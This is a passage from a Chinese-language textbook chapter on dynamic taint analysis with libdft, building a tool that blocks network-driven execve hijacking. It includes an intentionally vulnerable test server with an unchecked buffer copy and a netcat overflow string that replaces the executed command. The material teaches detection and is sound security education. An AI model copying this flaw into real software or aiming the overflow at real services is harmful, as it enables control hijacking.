格式字符串漏洞是 C 类编程语言中一种广为人知的可利用软件缺陷。当存在一个由用户控制的格式字符串的printf时,就会发生这种漏洞,例如printf(user)而不是正确的printf("%s", user)。关于格式字符串漏洞的详细介绍,您可以阅读文章“利用格式字符串漏洞”,该文章可以在* julianor.tripod.com/bc/formatstring-1.2.pdf *中找到。

设计一个可以检测来自网络或命令行的格式字符串漏洞的 DTA 工具。污点源和汇应该是什么?你需要什么样的污点传播和粒度?在第十一章的末尾,你将能够实现你的漏洞检测器!

第十一章:使用 libdft 进行实用的动态污点分析

在第十章中,你学习了动态污点分析的原理。在本章中,你将学习如何使用流行的开源 DTA 库 libdft 来构建你自己的 DTA 工具。我将介绍两个实际的例子:一个是防止远程控制劫持攻击的工具,另一个是自动检测信息泄露的工具。但首先,让我们来看看 libdft 的内部结构和 API。

11.1 引入 libdft

由于 DTA 是一个正在进行的研究课题,现有的二进制级污点追踪库基本上都是研究工具,不要期望它们有生产级的质量。libdft 也不例外,它是在哥伦比亚大学开发的,你将在本章的剩余部分使用它。

libdft 是一个基于 Intel Pin 的字节粒度污点追踪系统,它是目前最易于使用的 DTA 库之一。事实上,它是许多安全研究人员的首选工具,因为你可以使用它轻松构建既准确又快速的 DTA 工具。我已经在虚拟机中预安装了 libdft,路径是 /home/binary/libdft。你也可以在 www.cs.columbia.edu/~vpk/research/libdft/ 下载它。

和写作时所有的二进制级 DTA 库一样,libdft 有一些不足之处。最明显的一点是,libdft 仅支持 32 位 x86 架构。你仍然可以在 64 位平台上使用它,但只能分析 32 位进程。它还依赖于旧版本的 Pin(版本在 2.11 和 2.14 之间应该是可用的)。另一个限制是,libdft 仅支持“常规”的 x86 指令,不支持像 MMX 或 SSE 这样的扩展指令集。这意味着,如果污点数据通过这些指令流动,libdft 可能会发生污点缺失。如果你是从源代码构建你分析的程序,请使用 gcc 的编译选项 -mno-{mmx, sse, sse2, sse3} 来确保二进制文件中不包含 MMX 或 SSE 指令。

尽管存在这些限制,libdft 仍然是一个优秀的 DTA 库,你可以使用它来构建可靠的工具。而且,由于它是开源的,因此扩展它以支持 64 位或更多指令集相对容易。为了帮助你最大限度地利用 libdft,让我们来看看它最重要的实现细节。

11.1.1 libdft 的内部结构

由于 libdft 基于 Intel Pin,基于 libdft 的 DTA 工具实际上就是 Pin 工具,就像你在第九章中看到的那些工具,只不过它们与 libdft 链接在一起,后者提供了 DTA 功能。在虚拟机上,我已经安装了一个专用的旧版 Intel Pin(v2.13),你可以与 libdft 一起使用。Pin 被 libdft 用来对指令进行插桩,加入污点传播逻辑。污点数据本身存储在阴影内存中,可以通过 libdft 的 API 进行访问。图 11-1 展示了 libdft 最重要的组件概览。

阴影内存

如图 11-1 所示,libdft有两个变种,每个变种使用不同类型的阴影内存(在libdft术语中称为tagmap)。首先是基于位图的变种➊,它只支持一个污染颜色,但比另一个变种稍快,且内存开销更小。在从哥伦比亚大学网站下载的libdft源代码压缩包中,^(1)该变种位于名为libdft_linux-i386的目录中。第二个变种实现了一个八色阴影内存➋,你可以在源代码压缩包中的libdft-ng_linux-i386目录下找到它。这个第二个变种是我在虚拟机上预安装的,也是我在这里将要使用的版本。

为了最小化八色阴影内存的内存需求,libdft通过一种优化的数据结构实现了它,称为段转换表(STAB)。STAB 包含每个内存页面的一个条目。每个条目包含一个加数值,这是一个 32 位的偏移量,你可以将它加到虚拟内存地址上,以获取对应阴影字节的地址。

image

图 11-1:libdft的内部:阴影内存和虚拟 CPU 实现,仪器化和 API

例如,要读取虚拟地址0x1000的阴影内存,你可以在 STAB 中查找对应的加数,结果是438。这意味着你将在地址0x1438找到包含地址0x1000的污染信息的阴影字节。

STAB 提供了一种间接访问机制,使得libdft能够根据需要在每次应用程序分配虚拟内存区域时分配阴影内存。阴影内存是按页面大小的块分配的,从而保持最小的内存开销。由于每个分配的内存页面对应着一个阴影页面,所有地址的加数可以使用相同的值。对于包含多个相邻页面的虚拟内存区域,libdft确保阴影内存页面也相邻,从而简化阴影内存访问。每个相邻的阴影映射页面块被称为tagmap 段(tseg)。作为额外的内存使用优化,libdft将所有只读内存页面映射到同一个已清零的阴影页面。

虚拟 CPU

为了跟踪 CPU 寄存器的污染状态,libdft在内存中保持一个特殊结构,称为虚拟 CPU。虚拟 CPU 是一种迷你阴影内存,对于 x86 上的每个 32 位通用 CPU 寄存器(如ediesiebpespebxedxecxeax),虚拟 CPU 为每个寄存器保留 4 个阴影字节。此外,虚拟 CPU 上还有一个特殊的临时寄存器,libdft使用它来存储任何未识别寄存器的污染信息。在虚拟机上预安装的libdft版本中,我对虚拟 CPU 做了一些修改,使其可以支持 Intel Pin 所支持的所有寄存器。

污染追踪引擎

回顾一下,libdft 使用 Pin 的 API 来检查二进制中的所有指令,并将这些指令与相关的污点传播函数进行插桩。如果你感兴趣的话,可以在虚拟机中的文件 /home/binary/libdft/libdft-ng_linux-i386/src/libdft_core.c 找到 libdft 的污点传播函数实现,但我在这里不打算详细讲解它们。所有的污点传播函数共同实现了 libdft 的污点策略,我将在第 11.1.2 节中描述该策略。

libdft API 和 I/O 接口

最终,libdft 的目标是作为构建你自己 DTA 工具的库。为此,libdft 提供了一个污点跟踪 API,其中包含了几类函数。对于构建 DTA 工具来说,最重要的两类函数是操作标签映射的函数和添加回调及插桩代码的函数。

标签映射 API 定义在头文件 tagmap.h 中。它提供了诸如 tagmap_setb(用于将内存字节标记为污点)和 tagmap_getb(用于检索内存字节的污点信息)等函数。

添加回调和插桩代码的 API 分布在头文件 libdft_api.hsyscall_desc.h 中。它允许你使用 syscall_set_presyscall_set_post 函数注册系统调用事件的回调。为了存储所有这些回调,libdft 使用一个专门的数组,名为 syscall_desc,用于跟踪你安装的所有系统调用前后处理程序。同样,你可以使用 ins_set_preins_set_post 注册指令回调。你将在本章后面的 DTA 工具部分更详细地了解这些以及其他 libdft API 函数。

11.1.2 污点策略

libdft 的污点传播策略定义了以下五类指令。^(2) 每一类指令以不同的方式传播和合并污点。

ALU 这些是具有两个或三个操作数的算术和逻辑指令,例如 addsubandxordivimul。对于这些操作,libdft 以与 表 10-1 中的 addxor 示例相同的方式合并污点——输出的污点是输入操作数污点的并集(∪)。正如 表 10-1 中所示,libdft 认为立即数是未污染的,因为攻击者无法影响它们。

XFER XFER 类包含所有将值复制到另一个寄存器或内存位置的指令,例如 mov 指令。与 表 10-1 中的 mov 示例一样,这些指令的处理方式是使用赋值操作 (:=)。对于这些指令,libdft 仅仅是将源操作数的污点复制到目标位置。

CLR 正如其名,这一类指令总是使它们的输出操作数变得不受污染。换句话说,libdft 将输出的污染标记设置为空集(ø)。这一类包括其他类指令的一些特殊情况,例如用自身做异或运算或从自身中减去一个操作数。它还包括像 cpuid 这样的指令,攻击者无法控制输出。

SPECIAL 这些是需要特殊规则来传播污染的指令,这些规则在其他类别中未涉及。包括但不限于 xchgcmpxchg(其中两个操作数的污染会交换)以及 lea(其中污染源自内存地址的计算)。

FPU, MMX, SSE 这一类包含了 libdft 当前不支持的指令,如 FPU、MMX 和 SSE 指令。当污染通过这些指令时,libdft 无法追踪,因此污染信息不会传播到指令的输出操作数,导致污染不足。

现在你已经熟悉了 libdft,让我们用 libdft 构建一些 DTA 工具吧!

11.2 使用 DTA 检测远程控制劫持

你看到的第一个 DTA 工具旨在检测一些类型的远程控制劫持攻击。具体来说,它检测的是网络接收的数据被用来控制 execve 调用的参数的攻击。因此,污染源将是网络接收函数 recvrecvfrom,而 execve 系统调用将是污染汇。像往常一样,你可以在虚拟机上找到完整的源代码,位于 ~/code/chapter11 中。

我尽量将这个示例工具做得尽可能简单,以便让讨论更容易理解。这意味着它必须做一些简化假设,并且不能捕捉所有类型的控制劫持攻击。在一个真正的、功能齐全的 DTA 工具中,你需要定义额外的污染源和污染汇,以防更多类型的攻击。例如,除了通过 recvrecvfrom 接收的数据,你还需要考虑通过 read 系统调用从网络读取的数据。此外,为了防止无辜的文件读取被污染,你需要跟踪哪些文件描述符正在通过 accept 等网络调用从网络读取数据。

当你理解下面这个示例工具的工作原理时,你应该能够自行改进它。此外,libdft 附带了一个更为复杂的示例 DTA 工具,参考了许多这些改进。如果你感兴趣,可以在 libdft 目录下的文件 tools/libdft-dta.c 中找到它。

许多基于libdft的 DTA 工具都会挂钩系统调用,作为污点源和污点汇。在 Linux 中,每个系统调用都有自己独特的系统调用编号libdft使用它来索引syscall_desc数组。有关可用系统调用及其相关系统调用编号的列表,请参考 x86(32 位)的/usr/include/x86_64-linux-gnu/asm/unistd_32.h或 x64 的/usr/include/asm-generic/unistd.h。^(3)

现在,让我们来看一下名为dta-execve的示例工具。列表 11-1 展示了源代码的第一部分。

列表 11-1: dta-execve.cpp

    /* some #includes omitted for brevity */

➊  #include "pin.H"

➋  #include "branch_pred.h"
   #include "libdft_api.h"
   #include "syscall_desc.h"
   #include "tagmap.h"

➌  extern syscall_desc_t syscall_desc[SYSCALL_MAX];

   void alert(uintptr_t addr, const char *source, uint8_t tag);
   void check_string_taint(const char *str, const char *source);
   static void post_socketcall_hook(syscall_ctx_t *ctx);
   static void pre_execve_hook(syscall_ctx_t *ctx);

   int
   main(int argc, char **argv)
   {
➍    PIN_InitSymbols();
➎    if(unlikely(PIN_Init(argc, argv))) {
        return 1;
     }

➏    if(unlikely(libdft_init() != 0)) {
➐       libdft_die();
        return 1;
     }

➑    syscall_set_post(&syscall_desc[__NR_socketcall], post_socketcall_hook);
➒    syscall_set_pre (&syscall_desc[__NR_execve], pre_execve_hook);

➒    PIN_StartProgram();

     return 0;
   }

在这里,我只展示了与libdft相关的 DTA 工具特定的头文件,但如果你感兴趣,可以在虚拟机上的源代码中查看省略的代码。

第一个头文件是pin.H ➊,因为所有libdft工具实际上都是链接了libdft库的 Pin 工具。接下来是几个头文件,它们一起提供对libdft API 的访问 ➋。第一个是branch_pred.h,包含宏likelyunlikely,你可以使用它们为编译器提供分支预测的提示,稍后我将解释。接下来,libdft_api.hsyscall_desc.htagmap.h分别提供对libdft基础 API、系统调用钩子接口和 tagmap(影像内存)的访问。

在包含文件之后,是syscall_desc数组的extern声明 ➌,这是libdft用来跟踪系统调用钩子的结构体。你将需要访问它来挂钩你的污点源和污点汇。syscall_desc的实际定义在libdft的源文件syscall_desc.c中。

现在,让我们来看一下dta-execve工具的main函数。它首先初始化 Pin 的符号处理 ➍,以防二进制文件中存在符号,然后初始化 Pin 本身 ➎。你在第九章中已经看到了 Pin 初始化的代码,但这次使用了优化的分支来检查PIN_Init的返回值,使用unlikely宏标记它,告诉编译器PIN_Init失败的可能性较小。这一知识可以帮助编译器进行分支预测,从而可能生成稍微更快的代码。

接下来,main函数使用libdft_init函数 ➏ 初始化libdft,并再次优化检查返回值。此初始化允许libdft设置重要的数据结构,例如 tagmap。如果初始化失败,libdft_init将返回非零值,在这种情况下,你需要调用libdft_die来释放libdft可能分配的任何资源 ➐。

一旦 Pin 和libdft都初始化完成,你可以安装系统调用钩子,这些钩子作为污点源和污点接收点。请记住,当被仪器化的应用程序(即你使用 DTA 工具保护的程序)执行相应的系统调用时,适当的钩子将会被调用。在这里,dta-execve安装了两个钩子:一个后处理钩子,名为post_socketcall_hook,它在每次执行socketcall系统调用后立即运行➑;另一个是前处理钩子,它在执行execve系统调用之前运行,名为pre_execve_hook➒。socketcall系统调用捕获所有与套接字相关的事件(例如recvrecvfrom事件)在 x86-32 架构的 Linux 上。socketcall处理程序(post_socketcall_hook)区分了不同类型的套接字事件,接下来我会解释。

为了安装系统调用处理程序,你需要调用syscall_set_post(用于后处理钩子)或syscall_set_pre(用于前处理钩子)。这两个函数都接受一个指向libdftsyscall_desc数组条目的指针,用于安装处理程序,以及一个指向要安装的处理程序的函数指针。为了获得适当的syscall_desc条目,你需要用你正在钩住的系统调用的系统调用号来索引syscall_desc数组。在这个例子中,相关的系统调用号由符号名称__NR_socketcall__NR_execve表示,你可以在/usr/include/i386-linux-gnu/asm/unistd_32.h中找到这些符号名称(适用于 x86-32)。

最后,你需要调用PIN_StartProgram来开始运行仪器化的应用程序➓。回想一下在第九章中提到的,PIN_StartProgram永远不会返回,所以main函数末尾的return 0永远不会被执行。

尽管在这个示例中没有使用,libdft确实提供了几乎与系统调用相同的方式来钩住指令,如以下代码所示:

➊  extern ins_desc_t ins_desc[XED_ICLASS_LAST];
   /* ... */
➋  ins_set_post(&ins_desc[XED_ICLASS_RET_NEAR], dta_instrument_ret);

为了钩住指令,你需要在 DTA 工具中全局声明extern ins_desc数组➊(类似于syscall_desc),然后使用ins_set_preins_set_post➋来分别安装指令的前处理或后处理钩子。与系统调用号不同,你使用由 Intel 的 x86 编码/解码库(XED)提供的符号名称来索引ins_desc数组,XED 库随 Pin 一起提供。XED 在一个名为xed_iclass_enum_t的枚举中定义了这些名称,每个名称表示一种指令类别,如X86_ICLASS_RET_NEAR。这些类别的名称对应于指令助记符。你可以在线查看所有指令类别名称的列表,网址是intelxed.github.io/ref-manual/,或者在随 Pin 一起提供的头文件xed-iclass-enum.h中找到。

11.2.1 检查污点信息

在上一节中,你已经看到dta-execve工具的main函数执行了所有必要的初始化,设置了适当的系统调用钩子,作为污点源和污点接收点,然后启动了应用程序。在这种情况下,污点接收点是一个叫做pre_execve_hook的系统调用钩子,它检查是否有任何execve参数被污染,表明可能发生了控制劫持攻击。如果是,它会触发警告并通过终止应用程序来阻止攻击。由于污点检查会对每个execve参数重复进行,因此我将其实现为一个名为check_string_taint的单独函数。

我将首先讨论check_string_taint,然后转到第 11.2.3 节中的pre_execve_hook代码。列表 11-2 展示了check_string_taint函数,以及在检测到攻击时调用的alert函数。

列表 11-2: dta-execve.cpp (续)

   void
➊  alert(uintptr_t addr, const char *source, uint8_t tag)
   {
     fprintf(stderr,
       "\n(dta-execve) !!!!!!! ADDRESS 0x%x IS TAINTED (%s, tag=0x%02x), ABORTING !!!!!!!\n",
       addr, source, tag);
     exit(1);
   }
   void
➋  check_string_taint(const char *str, const char *source)
   {
     uint8_t tag;
     uintptr_t start = (uintptr_t)str;
     uintptr_t end   = (uintptr_t)str+strlen(str);

     fprintf(stderr, "(dta-execve) checking taint on bytes 0x%x -- 0x%x (%s)... ",
             start, end, source);

➌   for(uintptr_t addr = start; addr <= end; addr++) {
➍      tag = tagmap_getb(addr);
➎      if(tag != 0) alert(addr, source, tag);
     }

     fprintf(stderr, "OK\n");
   }

alert函数 ➊ 简单地打印包含污点地址详细信息的警告消息,然后调用exit停止应用程序并防止攻击。实际的污点检查逻辑在check_string_taint ➋中实现,该函数接受两个字符串作为输入。第一个字符串(str)是要检查污点的字符串,而第二个字符串(source)是诊断字符串,它传递给并由alert打印,指定第一个字符串的来源,可以是execve路径、execve参数或环境参数。

要检查str的污点,check_string_taint会遍历str的所有字节 ➌。对于每个字节,它通过libdfttagmap_getb函数检查污点状态 ➍。如果该字节有污点,则调用alert打印错误信息并退出 ➎。

tagmap_getb函数接受一个字节的内存地址(以uintptr_t形式)作为输入,并返回包含该地址污点颜色的阴影字节。污点颜色(在列表 11-2 中称为tag)是一个uint8_t类型,因为libdft为每个内存字节保留一个阴影字节。如果tag为零,则该内存字节无污点。如果不为零,则该字节有污点,tag颜色可用于查找污点来源。由于该 DTA 工具只有一个污点源(网络接收),它仅使用单一的污点颜色。

有时你可能希望一次获取多个内存字节的污点标签。为此,libdft提供了tagmap_getwtagmap_getl函数,它们类似于tagmap_getb,但一次返回两个或四个连续的阴影字节,分别以uint16_tuint32_t的形式返回。

11.2.2 污点源:接收字节的污点

现在你知道了如何检查给定内存地址的污点颜色,让我们来讨论如何在第一时间标记字节。清单 11-3 展示了post_socketcall_hook的代码,它是每次socketcall系统调用后被调用的污点源,标记从网络接收到的字节。

清单 11-3: dta-execve.cpp (续)

   static void
   post_socketcall_hook(syscall_ctx_t *ctx)
   {
     int fd;
     void *buf;
     size_t len;

➊   int call            =            (int)ctx->arg[SYSCALL_ARG0];
➋   unsigned long *args = (unsigned long*)ctx->arg[SYSCALL_ARG1];

     switch(call) {
➌   case SYS_RECV:
     case SYS_RECVFROM:
➍      if(unlikely(ctx->ret <= 0)) {
          return;
       }

➎     fd =     (int)args[0];
➏     buf =  (void*)args[1];
➐     len = (size_t)ctx->ret;

       fprintf(stderr, "(dta-execve) recv: %zu bytes from fd %u\n", len, fd);

       for(size_t i = 0; i < len; i++) {
         if(isprint(((char*)buf)[i])) fprintf(stderr, "%c", ((char*)buf)[i]);
         else                         fprintf(stderr, "\\x%02x", ((char*)buf)[i]);
       }
       fprintf(stderr, "\n");

       fprintf(stderr, "(dta-execve) tainting bytes %p -- 0x%x with tag 0x%x\n",
               buf, (uintptr_t)buf+len, 0x01);

➑      tagmap_setn((uintptr_t)buf, len, 0x01);

       break;
     default:
       break;
     }
   }

libdft中,像post_socketcall_hook这样的系统调用钩子是void函数,唯一的输入参数是syscall_ctx_t*类型的指针。在清单 11-3 中,我将该输入参数命名为ctx,它作为刚刚发生的系统调用的描述符。除了其他内容外,它包含了传递给系统调用的参数以及系统调用的返回值。钩子会检查ctx,以确定需要标记哪些字节(如果有的话)。

socketcall系统调用接受两个参数,你可以通过阅读man socketcall来验证这一点。第一个是一个名为callint类型,它告诉你这是什么类型的socketcall,例如,是否是recvrecvfrom。第二个参数,名为args,包含一个unsigned long*类型的参数块,用于socketcallpost_socketcall_hook首先解析call ➊和args ➋这两个参数,来自系统调用的ctx。要从系统调用ctx中获取参数,你需要读取其arg字段中的相应条目(例如,ctx->arg[SYSCALL_ARG0])并将其转换为正确的类型。

接下来,dta-execve使用switch语句来区分不同的call类型。如果call表示这是一个SYS_RECVSYS_RECVFROM事件 ➌,那么dta-execve会更仔细地检查它,以找出哪些字节已被接收并需要标记。它会在default情况下忽略任何其他事件。

如果当前事件是接收操作,那么dta-execve接下来的操作是通过检查ctx->ret ➍来验证socketcall的返回值。如果返回值小于或等于零,表示没有接收到字节,因此不会进行标记,系统调用钩子将直接返回。只有在后处理程序中才能检查返回值,因为在前处理程序中,你所挂钩的系统调用尚未发生。

如果接收到字节,那么你需要解析args数组以访问recvrecvfrom参数,并找到接收缓冲区的地址。args数组按照与对应的call类型的套接字函数相同的顺序排列。对于recvrecvfrom来说,这意味着args[0]包含套接字文件描述符号 ➎,而args[1]包含接收缓冲区的地址 ➏。其他参数在这里不需要,因此post_socketcall_hook不解析它们。根据接收缓冲区的地址和socketcall的返回值(它表示接收到的字节数 ➐),post_socketcall_hook现在可以标记所有接收的字节。

在一些诊断打印接收到的字节后,post_socketcall_hook最终通过调用tagmap_setn ➑来污染接收到的字节,tagmap_setn是一个可以一次污染任意数量字节的libdft函数。它的第一个参数是表示内存地址的uintptr_t,即将被污染的第一个地址。下一个参数是一个size_t,表示要污染的字节数,然后是一个包含污染颜色的uint8_t。在这个例子中,我将污染颜色设置为0x01。现在,所有接收到的字节都被污染了,因此如果它们影响了execve的任何输入,dta-execve将会察觉并发出警报。

为了只污染少量固定字节,libdft还提供了名为tagmap_setbtagmap_setwtagmap_setl的函数,分别污染一个、两个或四个连续字节。这些函数的参数与tagmap_setn相同,只是省略了长度参数。

11.2.3 污染汇聚点:检查 execve 参数

最后,我们来看一下pre_execve_hook,它是一个系统调用钩子,在每次execve调用之前运行,并确保execve的输入未被污染。清单 11-4 展示了pre_execve_hook的代码。

清单 11-4: dta-execve.cpp (续)

   static void
   pre_execve_hook(syscall_ctx_t *ctx)
   {
➊   const char *filename = (const char*)ctx->arg[SYSCALL_ARG0];
➋   char * const *args   = (char* const*)ctx->arg[SYSCALL_ARG1];
➌   char * const *envp   = (char* const*)ctx->arg[SYSCALL_ARG2];

     fprintf(stderr, "(dta-execve) execve: %s (@%p)\n", filename, filename);

➍    check_string_taint(filename, "execve command");
➎    while(args && *args) {
        fprintf(stderr, "(dta-execve) arg: %s (@%p)\n", *args, *args);
➏       check_string_taint(*args, "execve argument");
        args++;
     }
➐    while(envp && *envp) {
        fprintf(stderr, "(dta-execve) env: %s (@%p)\n", *envp, *envp);
➑       check_string_taint(*envp, "execve environment parameter");
        envp++;
     }
   }

pre_execve_hook的第一步是解析来自ctx参数的execve输入。这些输入包括execve即将运行的程序的文件名 ➊,然后是传递给execve的参数数组 ➋ 和环境数组 ➌。如果这些输入中的任何一个被污染,pre_execve_hook将会发出警报。

为了检查每个输入是否被污染,pre_execve_hook使用了我在清单 11-2 中之前描述的check_string_taint函数。首先,它使用这个函数来验证execve的文件名参数是否未被污染 ➍。随后,它会遍历所有execve的参数 ➎,并检查每个参数是否被污染 ➏。最后,pre_execve_hook遍历环境数组 ➐,并检查每个环境参数是否未被污染 ➑。如果没有输入被污染,pre_execve_hook将正常执行,execve系统调用将继续进行且不触发任何警报。另一方面,如果发现任何污染的输入,程序将被中止,并打印错误信息。

这就是dta-execve工具中的全部代码!如你所见,libdft使得你能够简洁地实现 DTA 工具。在这个例子中,该工具仅由 165 行代码组成,包括所有注释和诊断打印。现在你已经浏览了dta-execve的所有代码,让我们测试它检测攻击的能力。

11.2.4 检测控制流劫持尝试

为了测试dta-execve检测网络控制劫持攻击的能力,我将使用一个名为execve-test-overflow的测试程序。清单 11-5 展示了其源代码的第一部分,其中包含了main函数。为了节省空间,我在测试程序的清单中省略了错误检查代码和不重要的函数。和往常一样,完整的程序可以在虚拟机中找到。

清单 11-5: execve-test-overflow.c

   int
   main(int argc, char *argv[])
   {
     char buf[4096];
     struct sockaddr_storage addr;

➊   int sockfd = open_socket("localhost", "9999");

     socklen_t addrlen = sizeof(addr);
➋   recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr*)&addr, &addrlen);

➌   int child_fd = exec_cmd(buf);
➍   FILE *fp = fdopen(child_fd, "r");

     while(fgets(buf, sizeof(buf), fp)) {
➎       sendto(sockfd, buf, strlen(buf)+1, 0, (struct sockaddr*)&addr, addrlen);
     }

     return 0;
   }

正如你所看到的,execve-test-overflow是一个简单的服务器程序,它打开一个网络套接字(使用清单中省略的open_socket函数),并在localhost上的 9999 端口监听➊。接下来,它从套接字接收一条消息➋,并将该消息传递给一个名为exec_cmd的函数➌。正如我在下一个清单中将解释的那样,exec_cmd是一个脆弱的函数,它使用execv执行命令,并且可以受到攻击者通过向服务器发送恶意消息的影响。当exec_cmd完成时,它返回一个文件描述符,服务器使用该描述符读取已执行命令的输出➍。最后,服务器将命令输出写入网络套接字➎。

通常,exec_cmd函数会执行一个名为date的程序来获取当前的时间和日期,然后服务器会将该输出通过网络回显,并在前面加上之前从套接字接收到的消息。然而,exec_cmd存在一个漏洞,允许攻击者执行他们选择的命令,正如清单 11-6 所示。

清单 11-6: execve-test-overflow.c (续)

➊  static struct __attribute__((packed)) {
➋   char prefix[32];
     char datefmt[32];
     char cmd[64];
   } cmd = { "date: ", "\%Y-\%m-\%d \%H:\%M:\%S",
             "/home/binary/code/chapter11/date" };

   int
   exec_cmd(char *buf)
   {
     int pid;
     int p[2];
     char *argv[3];

➌   for(size_t i = 0; i < strlen(buf); i++) { /* Buffer overflow! */
       if(buf[i] == '\n') {
         cmd.prefix[i] = '\0';
         break;
       }
       cmd.prefix[i] = buf[i];
    }

➍   argv[0] = cmd.cmd;
    argv[1] = cmd.datefmt;
    argv[2] = NULL;

➎   pipe(p);
➏   switch(pid = fork()) {
    case -1: /* Error */
      perror("(execve-test) fork failed");
      return -1;
➐   case 0: /* Child */
       printf("(execve-test/child) execv: %s %s\n", argv[0], argv[1]);

➑     close(1);
       dup(p[1]);
       close(p[0]);

       printf("%s", cmd.prefix);
       fflush(stdout);
➒     execv(argv[0], argv);
       perror("(execve-test/child) execv failed");
       kill(getppid(), SIGINT);
       exit(1);
     default: /* Parent */
       close(p[1]);
       return p[0];
     }

     return -1;
  }

服务器使用一个全局struct,名为cmd,来跟踪命令及其相关参数➊。它包含一个用于命令输出的prefix(之前从套接字接收到的消息)➋,以及一个日期格式字符串和一个包含date命令本身的缓冲区。虽然 Linux 自带默认的date工具,但为了测试,我实现了我自己的date工具,你可以在~/code/chapter11/date中找到它。这是必要的,因为虚拟机上的默认date工具是 64 位的,而libdft不支持它。

现在让我们来看看exec_cmd函数,该函数首先将从网络接收到的消息(存储在buf中)复制到cmdprefix字段中➌。正如你所看到的,这个复制操作缺乏适当的边界检查,这意味着攻击者可以发送恶意消息,导致prefix溢出,从而覆盖cmd中相邻的字段,这些字段包含日期格式和命令路径。

接下来,exec_cmd将命令和日期格式参数从cmd结构体复制到argv数组中,以供execv ➍使用。然后,它打开一个管道 ➎ 并使用fork ➏启动一个子进程 ➐,该子进程将执行命令并将输出报告给父进程。子进程通过管道重定向stdout ➑,这样父进程就可以从管道中读取execv的输出,并通过套接字转发。最后,子进程调用execv,将可能由攻击者控制的命令和参数作为输入 ➒。

现在,让我们运行execve-test-overflow,看看攻击者如何利用prefix溢出漏洞来劫持控制。我将首先在没有dta-execve工具保护的情况下运行它,这样你可以看到攻击的成功。之后,我会启用dta-execve,让你看到它如何检测并阻止攻击。

无 DTA 的成功控制劫持

清单 11-7 展示了execve-test-overflow的正常运行,接着是如何利用缓冲区溢出来执行攻击者选择的命令而不是date的示例。我已将一些重复的输出部分替换为“...”,以避免代码行过宽。

清单 11-7:在 execve-test-overflow 中的控制劫持

   $ cd /home/binary/code/chapter11/
➊ $ ./execve-test-overflow &
   [1] 2506
➋ $ nc -u 127.0.0.1 9999
➌ foobar:
   (execve-test/child) execv: /home/binary/code/chapter11/date %Y-%m-%d %H:%M:%S
➍ foobar: 2017-12-06 15:25:08
   ˆC
   [1]+ Done                     ./execve-test-overflow
➎ $ ./execve-test-overflow &
   [1] 2533
➏ $ nc -u 127.0.0.1 9999
➐ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB/home/binary/code/chapter11/echo
   (execve-test/child) execv: /home/binary/code/chapter11/echo BB...BB/home/binary/.../echo
➑ AA...AABB...BB/home/binary/code/chapter11/echo BB...BB/home/binary/code/chapter11/echo
   ˆC
   [1]+ Done                     ./execve-test-overflow

对于正常运行,我将execve-test-overflow服务器作为后台进程启动 ➊,然后使用netcatnc)连接到服务器 ➋。在nc中,我输入字符串“foobar: ” ➌ 并将其发送到服务器,服务器将使用它作为输出前缀。服务器运行date命令,并将当前日期回显,前缀为“foobar: ” ➍。

现在,为了演示缓冲区溢出漏洞,我重新启动服务器 ➎ 并使用nc ➏再次连接。此次,我发送的字符串要长得多 ➐,足以溢出全局cmd结构中的prefix字段。它由 32 个A组成,填满 32 字节的prefix缓冲区,后面跟着 32 个B,溢出到datefmt缓冲区并将其填满。字符串的最后一部分溢出到cmd缓冲区,并且它是一个程序路径,用来替代date执行,即 ~/code/chapter11/echo。此时,全局cmd结构的内容如下:

static struct __attribute__((packed)) {
  char prefix[32];  /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
  char datefmt[32]; /* BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB */
  char cmd[64];     /* /home/binary/code/chapter11/echo */
} cmd;

回想一下,服务器将cmd结构的内容复制到argv数组中,以供execv使用。因此,由于溢出,execv运行了echo程序,而不是datedatefmt缓冲区作为命令行参数传递给echo,但由于它没有包含终止的NULLecho看到的真实命令行参数是datefmtcmd缓冲区拼接起来的结果。最后,运行完echo后,服务器将输出写回到套接字 ➑,其内容是prefixdatefmtcmd的拼接作为前缀,后面跟着echo命令的输出。

现在你知道如何通过向execve-test-overflow程序提供来自网络的恶意输入来诱使它执行一个非预期的命令,让我们看看dta-execve工具能否成功阻止这个攻击!

使用 DTA 检测劫持尝试

为了测试dta-execve是否能阻止上一节中的攻击,我将再次运行相同的攻击。只是这次,execve-test-overflow将由dta-execve工具保护。列表 11-8 显示了结果。

列表 11-8:使用 dta-execve 检测控制劫持尝试

   $ cd /home/binary/libdft/pin-2.13-61206-gcc.4.4.7-linux/
➊  $ ./pin.sh -follow_execv -t /home/binary/code/chapter11/dta-execve.so \
              -- /home/binary/code/chapter11/execve-test-overflow &
   [1] 2994
➋  $ nc -u 127.0.0.1 9999
➌  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB/home/binary/code/chapter11/echo
➍  (dta-execve) recv: 97 bytes from fd 4
    AA...AABB...BB/home/binary/code/chapter11/echo\x0a
➎  (dta-execve) tainting bytes 0xffa231ec -- 0xffa2324d with tag 0x1
➏  (execve-test/child) execv: /home/binary/code/chapter11/echo BB...BB/home/binary/.../echo
➐  (dta-execve) execve: /home/binary/code/chapter11/echo (@0x804b100)
➑  (dta-execve) checking taint on bytes 0x804b100 -- 0x804b120 (execve command)...
➒  (dta-execve) !!!!!!! ADDRESS 0x804b100 IS TAINTED (execve command, tag=0x01), ABORTING !!!!!!!
➓   AA...AABB...BB/home/binary/code/chapter11/echo
    [1]+ Done ./pin.sh -follow_execv ...

因为libdft是基于 Pin 的,所以你需要使用dta-execve作为 Pin 工具➊来保护execve-test-overflow,并使用dta-execve。如你所见,我已经在 Pin 选项中添加了-follow_execv,这样 Pin 就会像父进程一样对execve-test-overflow的所有子进程进行插桩。这一点非常重要,因为易受攻击的execv是在子进程中调用的。

在启动了保护的execve-test-overflow服务器并使用dta-execve后,我再次运行nc连接到服务器➋。然后,我发送与上一节中相同的利用字符串➌,溢出prefix缓冲区并更改cmd。请记住,dta-execve使用网络接收作为污点源。你可以在列表 11-8 中看到这一点,因为socketcall处理程序打印了一个诊断消息,显示它已拦截接收到的消息 ➍。然后,socketcall处理程序会将从网络接收到的所有字节标记为污点 ➎。

